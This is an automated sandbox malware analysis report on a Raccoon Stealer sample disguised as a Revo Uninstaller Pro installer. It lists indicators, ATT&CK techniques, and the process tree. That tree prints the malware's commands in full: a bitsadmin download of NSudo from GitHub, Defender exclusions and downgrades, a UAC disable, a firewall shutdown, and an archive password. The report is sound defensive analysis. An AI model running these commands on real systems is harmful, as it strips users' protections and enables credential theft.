raccoon | 50e46868dec1ccf12f805464f0bdf31f87ca8e136b2921b7b067b5a76eb21b2f

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
16/03/2024, 03:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ccfdadcd4bd9dd07ccd30448d207dd9d.exe
Size 18.8MB
Sample240316-d1lmsaah7x
SHA256 50e46868dec1ccf12f805464f0bdf31f87ca8e136b2921b7b067b5a76eb21b2f
MD5 ccfdadcd4bd9dd07ccd30448d207dd9d
SHA1 dcb46dd2a9446489af64cb9244d36c138c653738
SHA512 88507e55b26b64a16d6d1bea824bd997eb4c859adc30660071607298b53eb0f1bfcc4c9a795248ad8d647438cc38e46ec82ee6aab969efb71cfdc1a34947ad1c
SSDEEP 393216:zUIDoA1J6MFSxbz81bl5n1QMBIbzmE030vc6c2VQy:vD96M0FklVBW+30U6cwQy
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

raccoon 0343d4da493d263f78921a8724ca6adf05347cfe evasion stealer trojan

Malware Config

Extracted

Family

raccoon

Version

1.7.3

Botnet

0343d4da493d263f78921a8724ca6adf05347cfe

Attributes

url4cnc
https://telete.in/jbitchsucks

rc4.plain

Signatures

Raccoon
Raccoon is an infostealer written in C++ and first seen in 2019.
stealer raccoon

Raccoon Stealer V1 payload 2 IoCs

resource	yara_rule
behavioral2/memory/2952-668-0x0000000000400000-0x0000000000495000-memory.dmp	family_raccoon_v1
behavioral2/memory/2952-669-0x0000000000400000-0x0000000000495000-memory.dmp	family_raccoon_v1

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2972	netsh.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 17 IoCs

pid	Process
1832	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp
456	Revo Uninstaller Pro 4.2.3.exe
4956	Revo Uninstaller Pro 4.2.3.tmp
4368	7z.exe
5112	7z.exe
4296	7z.exe
2424	7z.exe
2256	7z.exe
4384	7z.exe
3792	7z.exe
2600	7z.exe
3280	7z.exe
972	7z.exe
1148	7z.exe
2924	7z.exe
1420	edhWjul.exe
2952	edhWjul.exe

Loads dropped DLL 17 IoCs

pid	Process
1832	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp
4956	Revo Uninstaller Pro 4.2.3.tmp
4956	Revo Uninstaller Pro 4.2.3.tmp
4956	Revo Uninstaller Pro 4.2.3.tmp
4956	Revo Uninstaller Pro 4.2.3.tmp
4368	7z.exe
5112	7z.exe
4296	7z.exe
2424	7z.exe
2256	7z.exe
4384	7z.exe
3792	7z.exe
2600	7z.exe
3280	7z.exe
972	7z.exe
1148	7z.exe
2924	7z.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
15	raw.githubusercontent.com
16	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1420 set thread context of 2952	1420	edhWjul.exe	139

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Revo Uninstaller Pro 4.2.3.exe	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp
File created	C:\Program Files (x86)\is-PVOID.tmp	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2816	timeout.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
1200	bitsadmin.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Local Settings	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
1832	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp
1832	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp
4956	Revo Uninstaller Pro 4.2.3.tmp
4956	Revo Uninstaller Pro 4.2.3.tmp
916	powershell.exe
916	powershell.exe
1488	powershell.exe
1488	powershell.exe
1204	powershell.exe
1204	powershell.exe
1356	powershell.exe
1356	powershell.exe
924	powershell.exe
924	powershell.exe
2788	powershell.exe
2788	powershell.exe
216	powershell.exe
216	powershell.exe
4688	powershell.exe
4688	powershell.exe
4936	powershell.exe
4936	powershell.exe
4920	powershell.exe
4920	powershell.exe
1300	powershell.exe
1300	powershell.exe
2876	powershell.exe
2876	powershell.exe
1368	powershell.exe
1368	powershell.exe
1636	powershell.exe
1636	powershell.exe
4328	powershell.exe
4328	powershell.exe
3572	powershell.exe
3572	powershell.exe
2028	powershell.exe
2028	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	916	powershell.exe
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeDebugPrivilege	1204	powershell.exe
Token: SeDebugPrivilege	1356	powershell.exe
Token: SeDebugPrivilege	924	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	216	powershell.exe
Token: SeDebugPrivilege	4688	powershell.exe
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeDebugPrivilege	1300	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	1636	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	3572	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeRestorePrivilege	4368	7z.exe
Token: 35	4368	7z.exe
Token: SeSecurityPrivilege	4368	7z.exe
Token: SeSecurityPrivilege	4368	7z.exe
Token: SeRestorePrivilege	5112	7z.exe
Token: 35	5112	7z.exe
Token: SeSecurityPrivilege	5112	7z.exe
Token: SeSecurityPrivilege	5112	7z.exe
Token: SeRestorePrivilege	4296	7z.exe
Token: 35	4296	7z.exe
Token: SeSecurityPrivilege	4296	7z.exe
Token: SeSecurityPrivilege	4296	7z.exe
Token: SeRestorePrivilege	2424	7z.exe
Token: 35	2424	7z.exe
Token: SeSecurityPrivilege	2424	7z.exe
Token: SeSecurityPrivilege	2424	7z.exe
Token: SeRestorePrivilege	2256	7z.exe
Token: 35	2256	7z.exe
Token: SeSecurityPrivilege	2256	7z.exe
Token: SeSecurityPrivilege	2256	7z.exe
Token: SeRestorePrivilege	4384	7z.exe
Token: 35	4384	7z.exe
Token: SeSecurityPrivilege	4384	7z.exe
Token: SeSecurityPrivilege	4384	7z.exe
Token: SeRestorePrivilege	3792	7z.exe
Token: 35	3792	7z.exe
Token: SeSecurityPrivilege	3792	7z.exe
Token: SeSecurityPrivilege	3792	7z.exe
Token: SeRestorePrivilege	2600	7z.exe
Token: 35	2600	7z.exe
Token: SeSecurityPrivilege	2600	7z.exe
Token: SeSecurityPrivilege	2600	7z.exe
Token: SeRestorePrivilege	3280	7z.exe
Token: 35	3280	7z.exe
Token: SeSecurityPrivilege	3280	7z.exe
Token: SeSecurityPrivilege	3280	7z.exe
Token: SeRestorePrivilege	972	7z.exe
Token: 35	972	7z.exe
Token: SeSecurityPrivilege	972	7z.exe
Token: SeSecurityPrivilege	972	7z.exe
Token: SeRestorePrivilege	1148	7z.exe
Token: 35	1148	7z.exe
Token: SeSecurityPrivilege	1148	7z.exe
Token: SeSecurityPrivilege	1148	7z.exe
Token: SeRestorePrivilege	2924	7z.exe
Token: 35	2924	7z.exe
Token: SeSecurityPrivilege	2924	7z.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1832	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2720 wrote to memory of 1832	2720	ccfdadcd4bd9dd07ccd30448d207dd9d.exe	85
PID 2720 wrote to memory of 1832	2720	ccfdadcd4bd9dd07ccd30448d207dd9d.exe	85
PID 2720 wrote to memory of 1832	2720	ccfdadcd4bd9dd07ccd30448d207dd9d.exe	85
PID 1832 wrote to memory of 5080	1832	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp	86
PID 1832 wrote to memory of 5080	1832	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp	86
PID 1832 wrote to memory of 5080	1832	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp	86
PID 1832 wrote to memory of 456	1832	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp	87
PID 1832 wrote to memory of 456	1832	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp	87
PID 1832 wrote to memory of 456	1832	ccfdadcd4bd9dd07ccd30448d207dd9d.tmp	87
PID 5080 wrote to memory of 4776	5080	WScript.exe	88
PID 5080 wrote to memory of 4776	5080	WScript.exe	88
PID 5080 wrote to memory of 4776	5080	WScript.exe	88
PID 456 wrote to memory of 4956	456	Revo Uninstaller Pro 4.2.3.exe	90
PID 456 wrote to memory of 4956	456	Revo Uninstaller Pro 4.2.3.exe	90
PID 456 wrote to memory of 4956	456	Revo Uninstaller Pro 4.2.3.exe	90
PID 4776 wrote to memory of 4148	4776	cmd.exe	91
PID 4776 wrote to memory of 4148	4776	cmd.exe	91
PID 4776 wrote to memory of 4148	4776	cmd.exe	91
PID 4776 wrote to memory of 1200	4776	cmd.exe	92
PID 4776 wrote to memory of 1200	4776	cmd.exe	92
PID 4776 wrote to memory of 1200	4776	cmd.exe	92
PID 4776 wrote to memory of 916	4776	cmd.exe	94
PID 4776 wrote to memory of 916	4776	cmd.exe	94
PID 4776 wrote to memory of 916	4776	cmd.exe	94
PID 4776 wrote to memory of 1488	4776	cmd.exe	97
PID 4776 wrote to memory of 1488	4776	cmd.exe	97
PID 4776 wrote to memory of 1488	4776	cmd.exe	97
PID 4776 wrote to memory of 1204	4776	cmd.exe	100
PID 4776 wrote to memory of 1204	4776	cmd.exe	100
PID 4776 wrote to memory of 1204	4776	cmd.exe	100
PID 4776 wrote to memory of 1356	4776	cmd.exe	102
PID 4776 wrote to memory of 1356	4776	cmd.exe	102
PID 4776 wrote to memory of 1356	4776	cmd.exe	102
PID 4776 wrote to memory of 924	4776	cmd.exe	103
PID 4776 wrote to memory of 924	4776	cmd.exe	103
PID 4776 wrote to memory of 924	4776	cmd.exe	103
PID 4776 wrote to memory of 2788	4776	cmd.exe	106
PID 4776 wrote to memory of 2788	4776	cmd.exe	106
PID 4776 wrote to memory of 2788	4776	cmd.exe	106
PID 4776 wrote to memory of 216	4776	cmd.exe	107
PID 4776 wrote to memory of 216	4776	cmd.exe	107
PID 4776 wrote to memory of 216	4776	cmd.exe	107
PID 4776 wrote to memory of 4688	4776	cmd.exe	108
PID 4776 wrote to memory of 4688	4776	cmd.exe	108
PID 4776 wrote to memory of 4688	4776	cmd.exe	108
PID 4776 wrote to memory of 4936	4776	cmd.exe	109
PID 4776 wrote to memory of 4936	4776	cmd.exe	109
PID 4776 wrote to memory of 4936	4776	cmd.exe	109
PID 4776 wrote to memory of 4920	4776	cmd.exe	110
PID 4776 wrote to memory of 4920	4776	cmd.exe	110
PID 4776 wrote to memory of 4920	4776	cmd.exe	110
PID 4776 wrote to memory of 1300	4776	cmd.exe	111
PID 4776 wrote to memory of 1300	4776	cmd.exe	111
PID 4776 wrote to memory of 1300	4776	cmd.exe	111
PID 4776 wrote to memory of 2876	4776	cmd.exe	113
PID 4776 wrote to memory of 2876	4776	cmd.exe	113
PID 4776 wrote to memory of 2876	4776	cmd.exe	113
PID 4776 wrote to memory of 1368	4776	cmd.exe	114
PID 4776 wrote to memory of 1368	4776	cmd.exe	114
PID 4776 wrote to memory of 1368	4776	cmd.exe	114
PID 4776 wrote to memory of 1636	4776	cmd.exe	115
PID 4776 wrote to memory of 1636	4776	cmd.exe	115
PID 4776 wrote to memory of 1636	4776	cmd.exe	115
PID 4776 wrote to memory of 4328	4776	cmd.exe	116

C:\Users\Admin\AppData\Local\Temp\ccfdadcd4bd9dd07ccd30448d207dd9d.exe
"C:\Users\Admin\AppData\Local\Temp\ccfdadcd4bd9dd07ccd30448d207dd9d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2720
- C:\Users\Admin\AppData\Local\Temp\is-VCDBD.tmp\ccfdadcd4bd9dd07ccd30448d207dd9d.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-VCDBD.tmp\ccfdadcd4bd9dd07ccd30448d207dd9d.tmp" /SL5="$A0044,18949401,788992,C:\Users\Admin\AppData\Local\Temp\ccfdadcd4bd9dd07ccd30448d207dd9d.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\dDWZgIfB3cDEsz\5jayrzw1q.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5080
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\dDWZgIfB3cDEsz\avNIprUwIk.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4776
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:4148
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer Explorers /download /priority FOREGROUND https://raw.githubusercontent.com/swagkarna/Bypass-Tamper-Protection/main/NSudo.exe C:\Users\Admin\AppData\Local\Temp\NSudo.exe
        5⤵
        Download via BitsAdmin
        
        PID:1200
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat""
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:916
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1488
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1204
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
        5⤵
        UAC bypass
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1356
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:924
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -PUAProtection disable"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2788
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:216
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4688
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4936
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4920
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1300
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2876
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1368
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1636
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4328
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3572
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "netsh advfirewall set allprofiles state off"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2028
      - C:\Windows\SysWOW64\netsh.exe
        
        "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:2972
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\dDWZgIfB3cDEsz\main.bat" "
      4⤵
      PID:1812
    - - C:\Windows\SysWOW64\mode.com
        
        mode 65,10
        5⤵
        
        PID:3380
    - - C:\ProgramData\dDWZgIfB3cDEsz\7z.exe
        
        7z.exe e file.zip -p___________26299pwd15425pwd19346___________ -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:4368
    - - C:\ProgramData\dDWZgIfB3cDEsz\7z.exe
        
        7z.exe e extracted/file_11.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:5112
    - - C:\ProgramData\dDWZgIfB3cDEsz\7z.exe
        
        7z.exe e extracted/file_10.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:4296
    - - C:\ProgramData\dDWZgIfB3cDEsz\7z.exe
        
        7z.exe e extracted/file_9.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2424
    - - C:\ProgramData\dDWZgIfB3cDEsz\7z.exe
        
        7z.exe e extracted/file_8.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2256
    - - C:\ProgramData\dDWZgIfB3cDEsz\7z.exe
        
        7z.exe e extracted/file_7.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:4384
    - - C:\ProgramData\dDWZgIfB3cDEsz\7z.exe
        
        7z.exe e extracted/file_6.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:3792
    - - C:\ProgramData\dDWZgIfB3cDEsz\7z.exe
        
        7z.exe e extracted/file_5.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2600
    - - C:\ProgramData\dDWZgIfB3cDEsz\7z.exe
        
        7z.exe e extracted/file_4.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:3280
    - - C:\ProgramData\dDWZgIfB3cDEsz\7z.exe
        
        7z.exe e extracted/file_3.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:972
    - - C:\ProgramData\dDWZgIfB3cDEsz\7z.exe
        
        7z.exe e extracted/file_2.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:1148
    - - C:\ProgramData\dDWZgIfB3cDEsz\7z.exe
        
        7z.exe e extracted/file_1.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2924
    - - C:\ProgramData\dDWZgIfB3cDEsz\edhWjul.exe
        
        "edhWjul.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1420
      - C:\ProgramData\dDWZgIfB3cDEsz\edhWjul.exe
        
        "C:\ProgramData\dDWZgIfB3cDEsz\edhWjul.exe"
        6⤵
        Executes dropped EXE
        
        PID:2952
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\dDWZgIfB3cDEsz\delXPDUR9c.bat" "
      4⤵
      PID:5036
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 180 /NOBREAK
        5⤵
        Delays execution with timeout.exe
        
        PID:2816
- - C:\Program Files (x86)\Revo Uninstaller Pro 4.2.3.exe
    "C:\Program Files (x86)\Revo Uninstaller Pro 4.2.3.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:456
  - - C:\Users\Admin\AppData\Local\Temp\is-DAOOD.tmp\Revo Uninstaller Pro 4.2.3.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-DAOOD.tmp\Revo Uninstaller Pro 4.2.3.tmp" /SL5="$B0030,14516579,138240,C:\Program Files (x86)\Revo Uninstaller Pro 4.2.3.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:4956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

BITS Jobs

T1197

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Revo Uninstaller Pro 4.2.3.exe

Path C:\Program Files (x86)\Revo Uninstaller Pro 4.2.3.exe
Size 7.3MB
SHA256 ddb39cf1ed5d8c9aef13ae9490270a84df8f77e64a8a067afdb50c54814c58ee
MD5 4524cb3deb988bb752df3ff56c87e44c
SHA1 c6681047df3629abad58a2c0d1c3854f67daa579
SHA512 a26f4e353c6fe990b984f27b7ccf46f5a60c63d6bc63d0eaa258303cc489226f353aa866a76f4067864954361c28b2960cedc4962f7525a80435dc30bf238d3f
SSDEEP 196608:exfioFSWA5UqfpQ+vdDhzUuA/VPVCx/1oYDR3/:eFQDlvzouOV83Rv
MD5 SHA1 SHA512 SSDEEP

Submit Download

Revo Uninstaller Pro 4.2.3.exe

Path C:\Program Files (x86)\Revo Uninstaller Pro 4.2.3.exe
Size 6.8MB
SHA256 9fa7469cbd37b3f1ed91dff80b67e02352241c24df9cbd0302bff6ffe519feab
MD5 3349fa3c85d135ec07ec0420b0c8ebe5
SHA1 6b06de93136531c00d5a08ed69884d40cc1601fb
SHA512 6230056dd01745cd34969459f350975b3e651469f8030c819e5efa5fa66b9901565b9b4eec4446d4c28c9986cf8a1b4c2fd03da8eeff6dca08415bf7f72ee491
SSDEEP 196608:exfioFSWA5UqfpQ+vdDhzUuA/VPVCx/1oT:eFQDlvzouOV8O
MD5 SHA1 SHA512 SSDEEP

Submit Download

5jayrzw1q.vbs

Path C:\ProgramData\dDWZgIfB3cDEsz\5jayrzw1q.vbs
Size 96KB
SHA256 ca975635eaa8499a9fbd3873a71d6bd0ef5e253dc4528f4ad39824e31b176679
MD5 c84933bcccf41369ef9ecce015b86ed0
SHA1 624713276ae217d8d05c03598eecd31209c7f77a
SHA512 221ecc4d8c1492cc3358f1d9f0017080733ff0b553e31b098968b81827e2f4cfb3f9bdeebdd328dde356397a2a6fc49f1e7495c196bebed6cbb70b0a23b86363
SSDEEP 3072:SsPxYLASUfC8CE9xzJ6qrRmsWhaivQWbqQJ/Vex4t8/55S:ELASUfmsEvQWbqQCx4tY5S
MD5 SHA1 SHA512 SSDEEP

Submit Download

7z.dll

Path C:\ProgramData\dDWZgIfB3cDEsz\7z.dll
Size 1.6MB
SHA256 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
MD5 72491c7b87a7c2dd350b727444f13bb4
SHA1 1e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA512 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
SSDEEP 24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5 SHA1 SHA512 SSDEEP

Submit Download

7z.dll

Path C:\ProgramData\dDWZgIfB3cDEsz\7z.dll
Size 1.3MB
SHA256 05c429f8ba6be831fc56895bb6f8fb8cd7ceec0aa2a12f084b9614918a14a3bf
MD5 7a62aeb025aba17e1544a8fa55fba6a7
SHA1 30e24d26b846e4483cf62541d155241bf7ed2620
SHA512 f9c3a2f470fb1b9749eb6f84f77aa4ec821697ce1136ab4a3c237305e824fa5af35fbb95be4d3610ed50be16c480e9c270a430c4e690f29cd2238d87ff41ce48
SSDEEP 24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqP:jclmJSVARa86xzW3xRoyqqP
MD5 SHA1 SHA512 SSDEEP

Submit Download

7z.dll

Path C:\ProgramData\dDWZgIfB3cDEsz\7z.dll
Size 1.2MB
SHA256 827413aeb9b28430cf8a886fe60e9994834bbb54de6d9f9f8e38d38188fbbaab
MD5 1e42366a6e350e99375c42a475c31cff
SHA1 fb89cbc9a31587bdc633080b76a56056c5b3f36b
SHA512 2c7080a7e3f1878707d50e70306017ac4c32bbd17283166cf7ee235c4bf87ffcd187b891dc47db7a0ab1ff48f7ec0bc4b5f0835ff23fd9fc4f0469fcdd9ba7ed
SSDEEP 24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEX:jclmJSVARa86xzW3xRoyqX
MD5 SHA1 SHA512 SSDEEP

Submit Download

7z.dll

Path C:\ProgramData\dDWZgIfB3cDEsz\7z.dll
Size 1.5MB
SHA256 12f4af7ddef0fbd9b220db8f009817bcd3173d63ab1eb8e03a9177e01e52d89a
MD5 eafd1a647385167efa443df48c35b0c2
SHA1 ec90f8b5128c20a1771c823644dc5806cfaedbd5
SHA512 7d0c6493014095124dc4fa343193b9fbdb5461fab6c62cbeb7fd9b0671fd16f4d143bda7bb5825142291176e055c2612c727ade1c486976532baf0b65a709324
SSDEEP 24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLPr:jclmJSVARa86xzW3xRoyqqxrTf
MD5 SHA1 SHA512 SSDEEP

Submit Download

7z.dll

